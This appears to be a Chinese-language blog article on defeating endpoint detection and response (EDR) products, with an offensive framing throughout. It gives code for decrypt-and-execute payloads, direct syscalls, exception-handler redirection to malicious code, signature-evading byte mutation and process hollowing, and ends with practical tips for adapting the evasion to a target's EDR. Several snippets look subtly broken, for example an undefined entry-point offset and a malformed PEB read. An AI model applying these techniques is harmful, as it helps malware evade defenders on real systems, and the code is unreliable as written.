从EDR特性出发到对抗EDR
字数 1338 2025-08-29 08:30:31
对抗EDR技术详解
EDR核心特性分析
EDR(终端检测与响应)解决方案通常具备以下核心检测能力:
- 内存扫描:实时监控进程内存中的恶意代码或可疑行为模式
- 用户态挂钩(Hooking):通过API挂钩技术监控敏感函数调用
- 调用堆栈分析:检测不正常的调用链和调用上下文
- 签名扫描:基于特征码检测已知攻击工具和恶意软件
- 行为分析:通过机器学习分析异常进程行为
- 事件关联:将分散的事件关联为攻击链
对抗EDR的技术方法
1. 绕过内存扫描
技术实现:
- 内存加密:仅在执行时解密恶意代码,执行后立即重新加密
- 内存分片:将payload分割存储在多个内存区域
- 反射式加载:不创建新进程,直接在内存中加载和执行代码
- 堆栈欺骗:修改返回地址和调用栈信息
// 示例:简单的内存加密实现
void execute_encrypted(void* payload, size_t size, char* key) {
// 解密payload
for(size_t i = 0; i < size; i++) {
payload[i] ^= key[i % strlen(key)];
}
// 执行解密后的代码
void (*func)() = (void(*)())payload;
func();
// 执行后重新加密
for(size_t i = 0; i < size; i++) {
payload[i] ^= key[i % strlen(key)];
}
}
2. 规避用户态挂钩
技术方法:
- 直接系统调用:绕过用户态API直接发起syscall
- 未挂钩函数:寻找EDR未监控的替代函数
- 内存修补:恢复被EDR修改的函数字节
- 硬件断点:检测和绕过EDR设置的钩子
直接系统调用实现步骤:
- 获取目标系统调用号
- 准备调用参数
- 通过
syscall指令直接调用
; x64系统调用示例
mov r10, rcx ; Windows调用约定调整
mov eax, SSYSCALL_NUMBER ; 系统调用号
syscall
3. 干扰调用堆栈分析
对抗技术:
- 堆栈欺骗:伪造返回地址和调用链
- 返回地址混淆:动态修改返回地址
- 调用门:通过非标准方式转移执行流
- 异常处理滥用:通过SEH/VEH改变正常执行流
// 示例:通过异常处理改变执行流
__try {
// 触发异常
*(int*)0 = 0;
}
__except(MyExceptionHandler(GetExceptionInformation())) {
// 异常处理后会跳转到handler
}
LONG MyExceptionHandler(EXCEPTION_POINTERS* ep) {
// 修改上下文继续执行
ep->ContextRecord->Rip = (DWORD64)&malicious_code;
return EXCEPTION_CONTINUE_EXECUTION;
}
4. 规避签名检测
技术方案:
- 代码混淆:使用变异引擎动态改变代码特征
- 运行时生成:动态生成关键代码部分
- 合法工具滥用:利用已签名的合法工具(LOLBAS)
- 模板重构:重写已知工具的核心功能
# 示例:简单的代码变异
import random
def mutate_code(original_code):
mutations = [
lambda x: x + b"\x90" * random.randint(1,3), # NOP填充
lambda x: x.replace(b"\x74", b"\x75"), # JZ变JNZ
lambda x: x + b"\xEB" + bytes([random.randint(0, 255)]) # 随机跳转
]
return random.choice(mutations)(original_code)
高级对抗技术
1. 硬件虚拟化利用
- Hypervisor层攻击:在更底层监控或干扰EDR
- VT-x/AMD-V滥用:利用硬件虚拟化技术隐藏恶意行为
- SMM攻击:通过系统管理模式绕过检测
2. 内核模式对抗
- 驱动漏洞利用:利用EDR驱动漏洞禁用保护
- 内核回调移除:删除EDR设置的内核回调
- 对象劫持:篡改EDR使用的内核对象
3. 进程注入技术进阶
- Process Hollowing:合法进程替换
- Process Doppelgänging:利用NTFS事务
- AtomBombing:利用Windows原子表
- Extra Window Memory Injection:利用窗口内存
// Process Hollowing示例关键步骤
void ProcessHollowing(LPCWSTR targetProcess, PBYTE payload, SIZE_T size) {
// 1. 创建挂起状态的合法进程
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcess(targetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 获取目标进程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// 3. 读取PEB获取入口点信息
PEB peb;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &peb.ImageBaseAddress, sizeof(PVOID), NULL);
// 4. 卸载目标进程内存
ZwUnmapViewOfSection(pi.hProcess, peb.ImageBaseAddress);
// 5. 分配新内存并写入恶意payload
PVOID newBase = VirtualAllocEx(pi.hProcess, peb.ImageBaseAddress, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payload, size, NULL);
// 6. 修改入口点并恢复线程
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
}
防御对抗的检测技术
了解EDR可能的检测手段有助于更好规避:
- 异常调用链检测:监控不合理的API调用序列
- 内存属性监控:检测可执行内存的异常分配
- CPU异常事件:监控异常的硬件断点使用
- 时间戳分析:检测不合理的API调用耗时
- 跨进程行为:监控可疑的进程间交互
实战建议
- 环境适配:根据目标EDR产品调整技术方案
- 最小化痕迹:减少对系统的影响和改动
- 混合技术:组合使用多种规避技术
- 持续更新:跟踪EDR产品更新调整对抗方法
- 合法工具:优先考虑已签名的系统工具
总结
对抗EDR是一个持续演进的过程,需要深入理解EDR的工作原理和检测机制。有效的对抗需要结合多种技术,从用户态到内核态,从软件方法到硬件特性,形成多层次的规避策略。同时,随着EDR技术的不断发展,对抗技术也需要相应更新迭代。